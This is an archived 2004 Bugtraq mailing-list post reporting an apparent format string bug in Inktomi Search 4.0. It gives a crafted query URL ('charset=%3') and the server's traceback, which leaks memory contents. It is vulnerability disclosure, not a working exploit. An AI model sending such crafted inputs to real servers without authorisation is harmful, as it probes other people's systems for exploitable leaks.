[<prev] [next>] [day] [month] [year] [list]
Message-ID: <Law11-F58dh3OHP99Bn0001d625@hotmail.com>
Date: Tue, 02 Mar 2004 13:59:08 +1100
From: "Blurred Vision" <really_blurred_vision@...mail.com>
To: bugtraq@...urityfocus.com
Subject: Format String vuln in Inktomi Search4.0
Besides the discussion found here:
http://lists.virus.org/dw-0day-0306/msg00071.html
Which confirms the existance of a format string bug, has anyone seen anymore
on the following FS bug in inktomi search?
URL: http://<vuln_inktomisearch_server>/query.html?charset=%3
RESPONSE:
Internal Server Error
Server cannot complete operation
exceptions.UnicodeError: unknown encoding 0'<meta htPk.. k.. u': ', u'Server
cannot complete operati.
File httpsrvr.py, line 501, in parse_qs
charset = "0'<meta htPk\031\002\240k\031\002 u': ', u'Server cannot
comple
enclst = [('charset', ["0'<meta htPk\031\002\240k\031\002 u': ',
u'Server
ent = ['charset', '%3']
idx = 0
key = 'charset'
lst = ["0'<meta htPk\031\002\240k\031\002 u': ', u'Server cannot
complete
nodecode = []
qs = 'charset=%3'
query = {'charset': ["0'<meta htPk\031\002\240k\031\002 u': ', u'Server
ca
self = <httpsrvr.RequestHandler ('XXX.XXX.XXX.XXX', 56730)>
val = "0'<meta htPk\031\002\240k\031\002 u': ', u'Server cannot complete
o
File httpsrvr.py, line 778, in handle
frag = ''
netloc = '<vuln_inktomisearch_server>'
parms = ''
path = '/query.html'
qs = 'charset=%3'
query = {'charset': ["0'<meta htPk\031\002\240k\031\002 u': ', u'Server
ca
req = ''
scheme = 'http'
self = <httpsrvr.RequestHandler ('XXX.XXX.XXX.XXX', 56730)>
server = <httpsrvr.Server ('XXX.XXX.XXX.XXX', 80)>
thr = 413
File httpsrvr.py, line 904, in __init__
client_address = ('XXX.XXX.XXX.XXX', 56730)
sckt = <socket._socketobject instance at 21957c0>
self = <httpsrvr.RequestHandler ('XXX.XXX.XXX.XXX', 56730)>
server = <httpsrvr.Server ('XXX.XXX.XXX.XXX', 80)>
_________________________________________________________________
Hot chart ringtones and polyphonics. Go to
http://ninemsn.com.au/mobilemania/default.asp
Powered by blists - more mailing lists